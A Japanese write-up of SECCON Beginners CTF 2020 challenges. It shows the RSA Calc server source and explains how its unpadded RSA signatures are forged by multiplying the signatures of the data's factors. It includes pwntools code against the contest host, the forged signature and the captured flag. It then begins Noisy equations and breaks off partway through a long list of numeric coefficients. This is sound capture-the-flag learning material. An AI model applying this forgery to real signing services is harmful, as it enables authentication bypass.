SECCON Beginners CTF 2020 Writeup (RSA Calc/Noisy equations/Beginner's Stack/yakisoba/ghost)

# 解けた問題
- RSA Calc
- Noisy equations
- Beginner's Stack
- yakisoba
- ghost

#

## RSA Calc

### 問題
#### server.py

```python3
from Crypto.Util.number import *
from params import p, q, flag
import binascii
import sys
import signal


N = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))


def input(prompt=''):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    return sys.stdin.buffer.readline().strip()

def menu():
    sys.stdout.write('''----------
1) Sign
2) Exec
3) Exit
''')
    try:
        sys.stdout.write('> ')
        sys.stdout.flush()
        return int(sys.stdin.readline().strip())
    except:
        return 3


def cmd_sign():
    data = input('data> ')
    if len(data) > 256:
        sys.stdout.write('Too long\n')
        return

    if b'F' in data or b'1337' in data:
        sys.stdout.write('Error\n')
        return

    signature = pow(bytes_to_long(data), d, N)
    sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode()))

def cmd_exec():
    data = input('data> ')
    signature = int(input('signature> '), 16)

    if signature < 0 or signature >= N:
        sys.stdout.write('Invalid signature\n')
        return

    check = long_to_bytes(pow(signature, e, N))
    if data != check:
        sys.stdout.write('Invalid signature\n')
        return

    chunks = data.split(b',')
    stack = []
    for c in chunks:
        if c == b'+':
            stack.append(stack.pop() + stack.pop())
        elif c == b'-':
            stack.append(stack.pop() - stack.pop())
        elif c == b'*':
            stack.append(stack.pop() * stack.pop())
        elif c == b'/':
            stack.append(stack.pop() / stack.pop())
        elif c == b'F':
            val = stack.pop()
            if val == 1337:
                sys.stdout.write(flag + '\n')
        else:
            stack.append(int(c))

    sys.stdout.write('Answer: {}\n'.format(int(stack.pop())))


def main():
    sys.stdout.write('N: {}\n'.format(N))
    while True:
        try:
            command = menu()
            if command == 1:
                cmd_sign()
            if command == 2:
                cmd_exec()
            elif command == 3:
                break
        except:
            sys.stdout.write('Error\n')
            break


if __name__ == '__main__':
    signal.alarm(60)
    main()
```

### 回答

RSAの問題
main():
　1. cmd_sign(), 2. cmd_exec() を選択して実行
cmd_sign() ：
　入力: data
　data -(暗号化)-> signatureを出力
　（ただし、'F'や'1337'が含まれる場合失敗）
cmd_exec() ：
　入力: data, signature
　signature -(複合化)->　dataと同一かの判定
　突破した場合、演算処理を行い。特定条件でflagを出力

cmd_exec()へ送り込むdataとして、'1300,37,+,F'を使用しようとするが、
'F'が含まれるため、そのままだとcmd_sign()は失敗する。

暗号方法に注目する。
以下、a：data, b：signature

```math
b = a^{d} \bmod N
```
（dは不明。Nは既知。（main()にてprintされる。））
このaに、'F'や'1337'を含まれているとはじかれるため、aを分解してみる。

```math
a=a_1*a_2
```
とすると、

```math
\begin{align}
b &= a^{d} \bmod N \\
&= a_1^{d}*a_2'^{d} \bmod N \\
&= (a_1^{d} \bmod N)*(a_2'^{d} \bmod N) \bmod N
\end{align}
```
となる。
最終行の括弧二つの値は、a_1 とa_2に対しcmd_sign()を行うことで取得することができる。
（a_1, a_2 に'F'や’1337'が含まれはじかれる場合は別のa_1, a_2 を選べばよい）

方針は定まったので、解いていく。
とりあえずa を求める

```python3
from Crypto.Util.number import *
print(bytes_to_long(b'1300,37,+,F'))
```
a=59479094766664444378033222

偶数なので、とりあえず、2*29739547383332222189016611 に分解可能。

下記コードでsignature を得る

```python3
from pwn import *
from Crypto.Util.number import *

#p = process(['python3', './server_test.py'])
p=remote('rsacalc.quals.beginners.seccon.jp',10001)
data=long_to_bytes(29739547383332222189016611)

p.recvuntil("> ")
p.sendline("1")

p.recvuntil("data> ")
p.sendline(data)

p.interactive()
```
2->
0871128e3cdc1a7d4ac71b2f3e0d2cc36df0c8d520f7b7d029815c0761719faee9843e3ed06827caefab6c80b894707de25f29a42bc8be81f882aa930ba2a48dc0ad34eab1f68c35629507c32e7a87260228a565938e0bc4416d6a9d60b40ed0ddabc18e52f55933144342a4756b149083cb3efad9bc0569af7e9983b0ded2ad

29739547383332222189016611->
76db5c932d180aee6c73f1b861487342ef9cb5c992c4a84f7b124b0278b23f8dd98815af1a05038d444df5919e34c3262e5bec22681a78b926181d24c435c80f646046696ba4862bf8ab872c8c183cd37b733804d3edae3e75db0be3de67e6e317ddd3a455be99319b60425af25bd8c9aa998a2ee73759f82ac6638e1638e121

これらを掛けてmod することで、'1300,37,+,F'のsignature を得る。

```python3
from Crypto.Util.number import *
import binascii

a=int('0871128e3cdc1a7d4ac71b2f3e0d2cc36df0c8d520f7b7d029815c0761719faee9843e3ed06827caefab6c80b894707de25f29a42bc8be81f882aa930ba2a48dc0ad34eab1f68c35629507c32e7a87260228a565938e0bc4416d6a9d60b40ed0ddabc18e52f55933144342a4756b149083cb3efad9bc0569af7e9983b0ded2ad',16)
b=int('76db5c932d180aee6c73f1b861487342ef9cb5c992c4a84f7b124b0278b23f8dd98815af1a05038d444df5919e34c3262e5bec22681a78b926181d24c435c80f646046696ba4862bf8ab872c8c183cd37b733804d3edae3e75db0be3de67e6e317ddd3a455be99319b60425af25bd8c9aa998a2ee73759f82ac6638e1638e121',16)
N=104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133
sig=(a*b)%N
print(binascii.hexlify(long_to_bytes(sig)).decode())
```
8caef2d42ccd93b9cead166053855a07b2cd4cbed23a0593780f5f19340a79b2b1ddd82f11d11f4cf6978cca3c87ed710bbafe8825bc5ddcc31cbffcfcdef2c0983939092057d60e9fde64b5a639f5bdf20499792d9812f7b02f86f9f624c3e949f9c925b920ece51fe2edd6f36ddf9f6e182fd447f9dcdf0d4a95e51c14505e

後は普通にアクセスして入力することでflagを得る。

```
nc rsacalc.quals.beginners.seccon.jp 10001
N: 104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133
----------
1) Sign
2) Exec
3) Exit
> 2
data> 1300,37,+,F
signature> 8caef2d42ccd93b9cead166053855a07b2cd4cbed23a0593780f5f19340a79b2b1ddd82f11d11f4cf6978cca3c87ed710bbafe8825bc5ddcc31cbffcfcdef2c0983939092057d60e9fde64b5a639f5bdf20499792d9812f7b02f86f9f624c3e949f9c925b920ece51fe2edd6f36ddf9f6e182fd447f9dcdf0d4a95e51c14505e
ctf4b{SIgn_n33ds_P4d&H4sh}
Error
```

## Noisy equations
### 問題
#### problem.py

```python3
from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)
```

### 回答
見やすいよう、行列に書き直す。
C:coeffs 既知（実行ごとに変動する）
a:answers 既知（実行ごとに変動する）
f:FLAG 不明（固定値）
r:乱数 不明（後ろのgetrandbits(L)、seedが固定のため、固定値）

```math
\mathbf{C}=
\left(
\begin{matrix}
c_{00}&\cdots&c_{1(n-1)}\\
\vdots&\ddots&\vdots\\
c_{(n-1)0}&\cdots&c_{(n-1)(n-1)}\\
\end{matrix}
\right)\\

\mathbb{a}=
\left(
\begin{matrix}
a_{0}\\
\vdots\\
a_{(n-1)}\\
\end{matrix}
\right)\\

\mathbf{f}=
\left(
\begin{matrix}
f_{0}\\
\vdots\\
f_{(n-1)}\\
\end{matrix}
\right)\\

\mathbf{r}=
\left(
\begin{matrix}
r_{0}\\
\vdots\\
r_{(n-1)}\\
\end{matrix}
\right)\\
```
問題の最後の代入から、（answers=~~のもの）

```math
\mathbf{a}=\mathbf{C}\mathbf{f}+\mathbf{r}
```
ここで、rが固定値であることから、
2つデータを用意し両辺引くことでrを消すことが可能

```math
\mathbf{a_1}=\mathbf{C_1}\mathbf{f}+\mathbf{r}\\
\mathbf{a_2}=\mathbf{C_2}\mathbf{f}+\mathbf{r}\\
\Rightarrow \mathbf{a_1}-\mathbf{a_2}=\left(\mathbf{C_1}-\mathbf{C_2}\right)\mathbf{f}
```

後はこの連立方程式を解けばよい。

方針は定まったので解いていく。

```python3
import numpy as np

coeffs1=[[85691852679196506303439927159470471555303474376999845845408049245046236536952, 108859374060006476961083197084457366639856294347657663018076139887453135094405, 3090488039994331738724321812559027275103830480060263717737857088409171262109, 97146148073666917207039970474142117307087097245950963226853726384583606222689, 60005143813932358523467499105359562118883907873841572739354894542950562548623, 88178681110360802397809664905440495455321526162988124511978275430736508485252, 87912094114226319770095280240812663207898310168264352577456034658375140272716, 84576907634179293196752883312689253592068626022605694463582118332226163730785, 99755642564915952497760861485888378503941157466802782529024642372553778562593, 72779652033053798716156947635761092913978084900142906716314500067062780229826, 63689820509103075196041700327946157426460769967770486829772864775692140576425, 81606105000219259211674608080016724315231514610419372160080545163172009775608, 59315863316787082870057256174705653855778280551946913669291999438017973322181, 4864908527483306345169799804853582327620010749806570160028858423414700590469, 34370062574729970430345815247653585654269244585116275272515952286140159808097, 104558770316920397080019376095383500657628698364155095059443223793815638845603, 83927290651679408892845398478451889882307793145509381007949228859210691115074, 106971923913728346405372396302652751164055662404329463107290088525146091077701, 111346219505538418329179164377262339122214236647189662872326002926106082528859, 81465713069617948105459663868351994502471479272906589631274067389927001040434, 79646906747926083417529530424270697218931073640343806974999588580705924762194, 73239106982667173449396882465412858205149097680580665479891973376674020192824, 83260698705707229199390378583445922044558727339913285510571496273918016915955, 65839655446143410207746502129506451543060649410944119817552470273385245599291, 18969926435950166712090718032087184106937065231435908475819809079127998011491, 83454959924912404947840568991180067703415774280863150960623488568162993367747, 23263901247355267796389045671018110617641924562932384976065263425802540478745, 57360086246520664932764087899781609000332539239333118771635347256255686717486, 85506829680673133123749519553103721541220588194666251148575278285642302025630, 47046382462507602407478788074531571400420570082223473478000421190538737073850, 20669134715964407198873689627658779873373815936281646843421273489352110080058, 94714301294374128482735408201911358736219309061641566688926136224172202122227, 7127375675215097832393960729725974720598316610933556092915126771476029156805, 16766614162682053349528073262590658422980398951574426904166883903915743607047, 114541247554486549570735321597002690359187957626483805310651016750871440042897, 22040407947405905632152415832122859079406256646785120710151263522857995225743, 41457251820483782080450177703780290730261121336145379360294633774418364881937, 20777956946131843328372908091867907512947710775002809362238098455420931988968, 46868921471897825257456417204415048968278498710908765018424613381885958403910, 45597549397189165744993724670256851273697714587631218042633213010792216259172, 16669082824938550838288375082478952723811659185085926797481475114681568486991, 3137334848929969222774508920892626268135628194288725812367755754219952285257, 16558273176979851149984528811472283619131653871100953445086199367928059336100, 10757024756893226364073607104045243169762215090213279310637095608434525520272], [80584600984049698321582064040430564390102691896437672927764172157685142385035, 65035162590103774972627378124311469538688251552561465929433300232611338580195, 3184533390775151759021925622360342985674712482957262662872582769780254329494, 85265274439457905870998033404155233368032139619267893342750168875017158436662, 44549078928156963588957212068684101851498513191604947710351751149764653811940, 29493363063726587382423882642068651803574882019384413104877813261928962190, 8333656309649037542529633915520755625880978499874973826106927669983006690890, 66250995123362136088107655310938804312664429173850994905819800248942310277817, 45207756517886649682920212923465006716675957938679403178592587328823286748448, 32577490932563142135149132449319556334248557846833046876272775134202074142608, 34056568143206128212421413738444200671136248695007464849182416360877367757086, 1390999691544005706469395706195329744522720477709389702132609898023567082814, 60459032060620700387401481093193863585464722426868333398100972327518116047728, 19811842410018492067488611577526967592983178241163431059594989978818684339874, 11370675412899077877835481428296792744772860510240749937709502651136912909339, 86827719710697107818496346981818705691305540891560072099694271251756995438938, 109829673614506240756051540941642664072872171881084974035005816940485516861570, 6380947164250451951078383624528888135129627506938454874383964039223378852714, 40104136639839934058525807151201870531510424461853865367516188946967615686230, 53789488968219906398155567608809754446283484124548329350882988306016996991600, 39421115036696847402305356922162983579598765686537069504739232877032925975528, 106019207788612728329847177644770133067847933956113087558724062589720193210102, 40290314364076226146865705208039032611708321392366901424141700895349872642426, 99381400574062362547256465435153946178051781267084897664819884200410212376175, 74194794886461414477126781196627901438575419299427693331946775535656958036364, 77922795825288659807256212912358711631099214327928303908883414145942661267980, 104069989735386495088773536308039439661653075777803059421029782537441323311926, 72511386586675799929130219774247774866193704740220213648266024026113428196631, 5368421561430855174281264338953936913406954601994278841994834906231556492117, 22005494121450797271460660134791916061701645722075061729217473395432226445033, 23368752584057714182678962603596840241631106945942719759747431201514710306284, 91839503393715113391305670438889073606966451767707065775902561446373889803616, 77806020613208465967577402817255538158068789404313515051448108967113965512179, 65301665352395770482998470021801961805260194858452880407227170282243215390097, 10264236975481670210081169671347042827290365591737522281125637878640671883379, 29339981526468451593826155970435649009238470034217358718568893433656887992406, 36350475575335212507136275281040910014405263364927642810067685922378573621670, 52027786181374418520761884216965479111794879137211382517672658970519815364308, 24239560788245794521249582947168131752438479706687546797902455426921475897962, 62129307450527771743114429787228118567418631974513038558514142355751653057423, 100220058601732354405595510402682096638204098809912498132055696909153642061513, 46506692009054318600255623439980831976770090492709283843395975387175324910147, 48810949603887873679544406625314825620510394744825539677392670437306056036553, 19690884507317876942406408124430824174183213322401553620558768778402810331965], [26042597806400706085278389287739831498542887428826890261900062281483225541106, 32295845385883619406953041778187120109217633804432708936339266041463192435093, 111469984430125264884496542566582205690601485948080441766750814946075160983201, 82217060798260549467096485178212819494600801757881802256482212556913462167635, 115533288229616787533662040257596688982852258383567402938361324492340905052500, 48221852146207487500687655649104021942139534410995458030908683496872466777653, 37194691781334592334492855028108575912363080224523174571084811534998347956457, 95581125526338722213997102962233922397717057987535818197874139268037686952006, 9345592628984193881793285213007070670605957386354434770276759245574850199289, 90893706761809871270439082410611011116272417188712437974875742495449571792690, 49848958289117489171773552371928474809148603151138598041791893740734273764290, 92653860489010339454030434914828243709770678443955964272719125702144662962484, 66512487182613764893870629796404942681287490678929940218359459618444434483576, 114586192372007475413537268543656378988499787461477045751725627321670382936391, 42002116354862522824360408381985220857681502328913623423875632006388614928996, 86382706808395705166570209263057128261028890972853622450025202329905066195073, 65039779850884007600016148178712285029108891813826698338924181202833148735944, 19079885190824598457029101399377519052673593313336577726330610529177954249599, 41785084697669326520075525735456970705159337834667426116787684525872189866660, 716130669626080866965326626509521566882841950256903181411694690494634633462, 68155725736322775435923043536521184061162010838939540719896129830084195997095, 30210509531621616632484070925610588725604483648113262775098386436120243385359, 114031780147971695211452886771321373042479164526133256192910228984138206831145, 86649375131007989297698612022586223768051620028087327344932096742831193294702, 76980592481076690879916484291245295675533335138573511362314938835554015860898, 69241116415919740211684773073244369896450050198115767969815224624937880662887, 103874680843825359625351579221463631917212979125370386401226345644862978763838, 40657986796487222883748398922138116497506955397405182329546666448110673035696, 52131923612944748450196120585366109918476866729908285057979276573303224118836, 101110069396501387385488921323689653993899771532982624259176355184555431268857, 81306903467265207268445407126186986136845272410476256230891578640256916713138, 110020607667305167405104101255856948760369996287525011011097333475080632878302, 86615810877939651136186481750457990714511946728080098924537253523406522882463, 37489977577274655095963816142757188205378743278971755736010356541710565787632, 61406021717332369081900632924683091060409505448747932674808868754850850300543, 37535074124928159402451950652741387609499421442398911749840119170029240774874, 21533798180461989392418932537882752255312351887908419333161913943019858502265, 71535282596153706508234770000300702321532274133498130002966295370103342635582, 26112409801114338558649491101074072687893329995928747172726505552286802387186, 78603428482648327111358428950936723335519447675102686343729294190967062174141, 80518934684836766657850857364748357940242517405483821391515550262705978655557, 79699865892954372302398429509125472171540872808296692610013271565833552408086, 30895457317202466800726803548833187500987351770413985727456750974466122052889, 97912589151209756474402395947169372889664807290371486503526836794295543981963], [90563861937204752703699538742804751835149443782492394615777098388320125866524, 21662364654846553214936714077004784135455816968124008480050566409897238218233, 61879979994268551523845566933488058409741462653612372271586199173712420038039, 60005496646376773002912531192342568738809198593202737102570691850700662485570, 44910717945266864258341817367999728943561143927924817541334189233393883497267, 96899523422679672491130498763046710175943824376725434789994622494784627440364, 49162860682644041421572148823555691121594774470812644938447508466219428391555, 114899820890468496890011225570886718875565798182160033918179091878139132993052, 64195843921914181456623679733323090626095384007318583651256719556484718104754, 75274140851299336952199556357883335114361748754655973273160943490787743829755, 88456042365206795981838794263024046503600943781792054355774006879135886047527, 57744562771550337964090455300019335804420880862985334424170916569706738605820, 84339070885274439555293992950517706858909762619110867248940366281777126824559, 20934862870266273912362827428952027038104507389510346189590386080334821416494, 2565742965516649149370448015173784716453961465969663651602699236412355058981, 110958666863429152707097428679977995231487212175262413514738719585540944704954, 57648924048898814708627306262956194661502494509820049189671048148256190622162, 70642951659803607015112269113994520150539821750291216354778567198284427209549, 105505790360807249932925883564464498380257252453678157800001424988703446753746, 20777377310741385628347806143196963987635914840205747679104635332996742296473, 60154248509492060727033395036004748302339068055596635468327314397333230852713, 10055609822013428179878900059153437977260053093302102755284164296696803669463, 25405838431887630746132486348265798026137731493996782765543760943233570096709, 74692409799939330537371524338051853398720523136501434396914977257481108633918, 115599710077838457689649207366057678794640603890089357906951710684145615543627, 102348087174885036336996802679859753839078590505513618071123481028641028494129, 77587189680533222227035824144004268253780182099202461368000877428369981279218, 11924408891057094114781373950175457525068000627939725522566940774055016445319, 35338519644700927190300851246498419517396554321689218611782847567670505218735, 84447406593294872760656711290462644754147437746571710052630611427719522299256, 12799777719059958036805416113834043859859536884410950143646920473478069763365, 5854283476696706376094488331841546220558043219155260556425445048572871528983, 10880926705872906199207373440684465412543486147724474017882450460835459075789, 72068843416274012083011733628491695280827165036753376828111376000106310365412, 109019475813497783066312762634544811642891156542366410360297454406825764990353, 83330980862216505627744584327520873010390829821898778125812639063512458044338, 65940760719321464265831978065276277048788883452716077205395966427311509888581, 63717733322525514991999789714181449313162974295262847184041837503424245483481, 64226293747592134080053738834939929498268443123640037585538961204982241318187, 55724932488439125110812807844736577605876383078411316966043946123212479113900, 4964589893355452789570936211382055280295897605040378102597387960325945209532, 98764852776583298819788570678933270210564229152016096327823423794091318737843, 26158058957971143790315080298925260516303534319099083241582370182096199687760, 77177444439667417530770698207091157233840801018691518172094569712606175634999], [28503137261280870952688338719599477855119953602286264705853389691064847084250, 21076166845145689953414474902630852021055186380036136943954507470122564177612, 88952407532116862373693544430265482632993356342660390023159389105524829979709, 53870228800880016450831452947110285574401605911511166015075179102538827663287, 115257128412967132470041572456340709847414005072137214833673478316055162991281, 98197858940246315027964362213364568409703844637762337807009986893751741627777, 34478501892041427808619206006798251862344117737198394456346054677969185916258, 65190083976106430307400654247062032962188326614115158482597882422331915977756, 42948123611345605128906118137284275099277793792752970062701828282088588389786, 72449240356203116198113088137947768281385847367051713758353271960177022644927, 74479110733714544037468774384847250395724437507504931842038719629979732172398, 2507667949239561011338245031067144712354431979682056319380183838135004629657, 6641089168607876245001717639159346565747364926237914360199304465684661683021, 58068239757186276085902637882328861256616583084929197476591343325745633953432, 66790725139956615038143911949746693392740385025106605363057970917172463030334, 101827500245301047968064680152721174174800049743649634545006937459075055647601, 91443964788262248170157791483516512890177994407225449999666117923742353387316, 16789792252707797728053305263252979856598167814147959398840281880575626971198, 50831175565994093382031981707178904268777471652076460029046873159667097471076, 59850312194164340323639699545686682739724373672699769966200060889683182292820, 98063037865465158048635600079268044679967990789253487422983993543044355326092, 94695539600739292962724713968293667366603064954472567714964349715061983183414, 54879554384147527712264861037900448214827540907691817300849661077549751880606, 47216392023074563508653303648545109425562244865586197174469183789398272690903, 96481950177068066308682866925761367731740910958785189883966898028969133962615, 14806242461467724077420993082544844893095552825881400201733412007920965378007, 14317951756496082050691238179275862928298895439132231723161943431316621869727, 43515052584415492155793609900985891146412984229003110090662746781481727345421, 26736183339731116016243581791458945214595073345264409729760268735001332024721, 91559566728332396731338636528949996319689447990472825832705533725697960056279, 101581415607064416700481258019510930043854713011317358781973646471822174139865, 101955731637284669571392375586003864831554664913596673234678909420059495059969, 18984926507654686764698005055444570908660701192215790459239301075160212674170, 56320965123080410996604538268298121756008616316527972075430893822128694728600, 15295245803137613791928740601356113112067127556445844217490171886840725777211, 49388445649901408679542920288483909583366997905031335124983624429758207643523, 11566195322538520881325103049121775095875815031468478415023719845931642767841, 57124063994362963996702855355162726794970465793487350255307829120358859046963, 55822047616815091929044501493744257103672548385889649520909897437944806641627, 91067205066935821044557389639421905548437917317835837879987101418077596759446, 102961836860934164198803296035554224966808253045943761009650820186987544432165, 56115443140993297731993323455331110387376671018325784886377558069159105999276, 111095665483065730350680102184391619741749412855090611666404957377478818502707, 31650531556373452166017579681683287007852038552488080089248670510844840570814], [109903104204971238304426395510101567088784698328795342492425936887868826265403, 97279305562936597582231690670384782127339107589330112632896426704692335948682, 66391012236830925428922737016591898402261665637471610615225300081914493435800, 42808113709050126763473811317907736765479983964947819914788586155163421984313, 5568164743964036919431326994432195314483384356440152555749688900554772709275, 108027182244640292445202269329855911788520423563817327739373130426506657844199, 41155067917575997772281395183948353033269504410945244053942993156138747507411, 42339508295049638936397485337370229785859216765189912386944365067807645636445, 32060805367053042908562850738098696265348133045987972448068748701142033025196, 94523401299102422873146825556576583274473035148176140297917412160340992959507, 104691234210958322169628396642815665951461752051579360142701439585457916661668, 54490366580892910447940517311755021745075581634261295913536221841914505844634, 26070770247864907625865384301910389384381511029189506519451470320217331631303, 38350700344428451423716447364682472215564355793687125036887807898834737891312, 59723504745918730610794433207526311269895788179836690273825363181326047948112, 96491464185037294980450505671995796988565359046582466734904379683955780483450, 67032479914456791923235123732751626631164943977224796569154397753412055003916, 4235226919982417953609299474039816112371960618972770562226441297957513124714, 726929565448329310356984115318357302276321044082034855300633985434783961507, 63227509309412539176174024700128502095971613989410787085590611555314725697702, 91710938806914817506289468301583440715373766145550262912453988189878456809286, 46805742414972666038926728652614824397881442626726413810561427553813164194924, 53161264271332584069732130917338913344251909679029672816067838621922610368511, 115789401359481975577221964551989794478487348587464962769458117357119135674660, 9593490505503686342457007027314981926953250990479536757867184885817501808397, 59301518113840369819879530182000613706145633803418772984311551147636997371776, 30838125845447025549957010612255697295348220417159506646097789099079473108093, 108313037175796969555250031838934664575660152623228442089843733645431722073266, 58399543678353331477097695722008381608646002847515248721762364932260430764144, 40461568183623724948331261205500400231077681816578597246852628602708445323792, 7782786327907342161531127771000955622832534853100733260555826878121375735630, 59541913012697744592731830031058075978334485614035032687704211336641161167603, 30469043624782434831463076677484899310632994172133128961719343241079971079211, 12071456882388848281799621762596742634328260723468974472879787449056058334409, 7136788168336068979445873189029883553374527999096865893413980298015014792286, 2878372422230266884925457139223030282490401697357231885900436981947082914585, 70730405991479876619457455598185262190422207375163875501417207179519090200436, 104766757914070502884186936323732746807327605064354645114731890403027144197600, 39368142332310901902872923038916930733923045363201540027715309620673547378753, 6556708603409418570914831683548850212130164216329123590584173343117737219356, 40792444466834829373073017702499691451727944329545614420239019845504600047413, 99684976210721945110944023683292778117173347293187886327235946838852802253416, 6876261587749988057863867201337637563397506750802248574283743703618736025698, 95909046074507198800086719117333567411196955402406077582475991940325812224284], [89320219982396025401693280340648488287265035687469291217676174246959072835800, 71812515538469205297424865803418732548120795879420560511402747344521655796198, 80224866933032189465238239961672431416346216865098735541729955872170192163860, 25999432268977882320006507337069044059869174469202424845474118464490989255300, 12046490368142667414484207775469677847398596550705830086591113110830096234779, 60408006960626499924377650491366907185322864555065453308121206330219193766565, 74375897408518084977922948917613487583362027539286787169627483352995916859604, 80498487792815284480819967027187503729199278587947926843197356002908982689980, 58966097646660064448372470067710855122645617878284515428687440414439346168773, 37194501889581805571532612487769961123475774237694115663370692647848954967395, 48484484129627656123698733717863216269765337411897540818234758390318115537948, 89676477598513903658497381579407332547561406038547140347286487676664871440160, 60866339083770455893301125835245549958412314509968464989715883731369065269806, 49296314862596421262331138788488991649957662673264600394562484104609913656638, 109722703399667737901936261749642405427555129937603710671925064458049894453552, 90204945743513533164383301525642857866652698956748128573198286096288815609239, 89827986236093666434242434717271407619120814474028002755701702043801148588288, 39026048100740475281535949757852356504021926220824617064876471618940126181663, 10134642399820288337479561028148593656021656126533518518153821087426771524050, 3796535259143258192438923428020276701670333525327370492945859425395937303884, 97429904360223986544158572745889741217967902176125877415968316471759576751265, 91732323120421936047908703660665015854658156085622539842773202130771241565493, 95020864933066597104062170926038719536631845036368861340965655226413481031928, 99798140813231391725561879343379307746404141583715585610823291930588024297768, 51334235488205058684330514893220792190105915057668472922764754139803963768201, 84577074296963480388045484157669436763271973896919521753776062019955064312339, 56303745233830399853423693102603120123714375928802346420031748089235771952522, 98457810809738064821656012680247053293203569686338639205438432293710519358662, 111486457474155949156556530248439149680953012902526383352728523530436554149242, 73483941156576959554505496851007751704435156912885146718552290906183669970824, 15077018994963702315403999302077052075211870996207638514891051536709143578425, 101818280014874123411984628624814351665720594859591777034059992420685323706147, 112425057502063979255517660952761430974377905598060838248128486672930010956929, 92054221847990001537397752574628356233122344920492894755527473430547976197524, 11322183137181227115396626465869494571316913693498752431958680553289946973387, 30412409562198576921912262731279273013349350728251652833474540250818848910564, 63448423990206829646842799135200610117778509632310044655357512720308612260784, 18831970348741755313333804368739964431126665992962382796080138367722054979205, 103927770973487764277137208613737128561603769181246729312226618414423065851336, 72301542239534189394934060312211801469432780973969138099502670990098537488166, 90900767885098607380217548137254372703264513336031837240484759167853626164873, 53166600471677296167341219166874287929785317476808809559088629739961689528120, 5200072906840272841424505361517883360971423937874457123592514624595745415476, 86199627019069801431606296990976644710969354519105485709889359208499672647579], [48382122725751358229299543059519781527807191095552556201399270353938367952495, 85978457906391848359821013547075016959852624093147518231619686016544220916778, 63823163843350533803685684581839478371313786672192259593343323288380473393999, 4191609794713189410530361551062991244713545456888992864393694240082026825013, 19288004490814424900880455862589425080061264262003999131944343632857229426965, 114807714727807421930687530195406244053554665301239448017484838008466946765872, 8090985552577845482358249234638590549783858583585599840267896517324766220116, 21948906053366251923768910496238247196881730834629513694291474640995714728440, 38082258543296416661864846437408822009562883361641167975413914411893310740911, 54001950994624719135407625993488732650634994681802608351884492314285303302844, 65521126018641342964021779890894986874431654095784987532199022695884676777282, 46589420662130249574283609308134524391895164778460484490660189606262955185281, 26221070713682387282565111175881372484091703331258925056635977359557549072408, 33659541246795967546708267767433273155380476036338321206794653685282564953224, 88525246238950192782890598813230330843865678933697844680647242739070688449290, 63222732326741193327430488224154945807340355136738502491788657692254275477158, 104655706094047498052751780342401217758508988669001202940649368781697702037604, 1672702337448437166330105726416522014848793042035686287642487607016891721490, 89554741311228365677961534406771431714642246847311754349942110979037874811186, 19053427439380251065860086733913696499069292638599955795212769339660213994241, 64450354774441314121880786213455149134141327503003789827124471531838208062069, 70571585584948233635747406736440256299227244741485739591666511668405648053035, 83896174957683591007954979374630899246052306081381790079729364461201300469433, 49135691464720041643806652796233970389048395745845024041519773429347242175938, 108172079492133620449828175015940528550455991705310911781818111926825562990868, 30607789363931259865607279214138712136191942213014860416088338084425533193744, 36303320063797255996371073473342396480846466686226052016977177136331723266002, 4448222354363023339481293319183219667773206247948454998665333089659948349638, 111826192280822428058642418738612889951809084799218835866338712197002615117587, 115341084720331604220463586267332844488972228397141535949766070651061769938272, 52380656518240755142845695780176423639632130790319479651862000039710815646148, 114979410278010248401215397690646810563339541774959848185046633665062538247908, 69624167674318760274748894896667809603316807415237749757127656039670777068812, 76142324320537558550995443495797018706113900894779255685312834114247130179126, 11060746729741962359720621122492302984553429991438969228976171983105000366326, 24288462061479558163606328431883950298034416789576761393239068821653619043757, 91847075993067201500302781548784674556931873375654463923250407005190676828412, 16495951623372265887533401800550301300557884012758884259041007326582225443353, 23423020800762451850072507991591918194702670327904370229150141925673753234366, 94682316717721734984158471232148028140746723885258032632473023954144721533296, 8908540780210217736289057395728453899796661550833080283240723309308443172670, 104072845550939611462228263140521715864281954385469181665130839768346045114745, 94624846405089807113064207347690373788705247322526573503788646848910763113487, 67449165473389877904049366103077837726720837036749925432193086986365490426580], [115008141235794049086351650402250823793705356822370177733231712668030640743694, 84276909247729965887757808459438945352159670911994862588919272502584775742262, 65427661873726395180092610664870426260095486779935807670037949448207679858442, 88324251702036870005826252351875296280818412051982420366037854647440579561180, 73482846144140489943977599637307998284786366740909892173354794348776308040199, 62036734451824752064522164464471586781034941435649808669039711999611409848523, 41113137364785360990840418389279410615472249678099542694836780999857493451168, 68419994806472835637651636881612325490070040045994882440465925234204201453403, 54093591983417679125106809496498699824124617156552730477923498967311282851101, 9224801123886975205786593285451112141171780664693196203550200811625198292120, 89591981705958921281973324632695199418574000189794120419442873248776521195537, 9595198714450361586071190007063229384854734519890007319611848195323572112109, 73492828846866857757990483884905544078057800156698818972198172623414745905968, 101927564294120321752064144116646562081691557291846256249377238693327666743736, 62023624117319035492278894563279366519667624902431143697604773626911258266229, 19981067330508176753748132459619592856683236412568624296720046081513016766567, 22437085992694812102754657575686331268885593669097628331741770463085705456396, 68006921614056700890683955277935063908521166959339310545575322261872174881644, 28578370760183054759934803864228085243165457393312916639396872328983623310450, 56395896907881566283116466789858245150520650470939965886173582653746293748747, 104537351151546839374197534874600840278288163547956447497645498563004962377431, 72924895722493722996491115547455091346376066207720125663601415762834224819449, 17033858258040459524228813700168030735975135941655268719292145340562318668203, 82258201237738306176500735994459204280441971184630995700201112994790936339967, 90505587770954491222680442444663296450441669739763288363318740084582592713465, 66130297653081172907485657774819284954916427734004706689864837375165035965599, 20354604692352032995970648747819349567300413384134420204226689822178921797210, 40808343558450579309727880347768730081811480933425387590745033017118090637883, 11725049315550785903800524534746160908402617017024727745908980848707610704084, 78944365296848989163057692395239729833126008117923860329477416205403498775525, 22020393429729191379074751019193398562662826414771839248863151733837331456155, 73256521825995195532330996269126864909283817880501236629878463649306570516393, 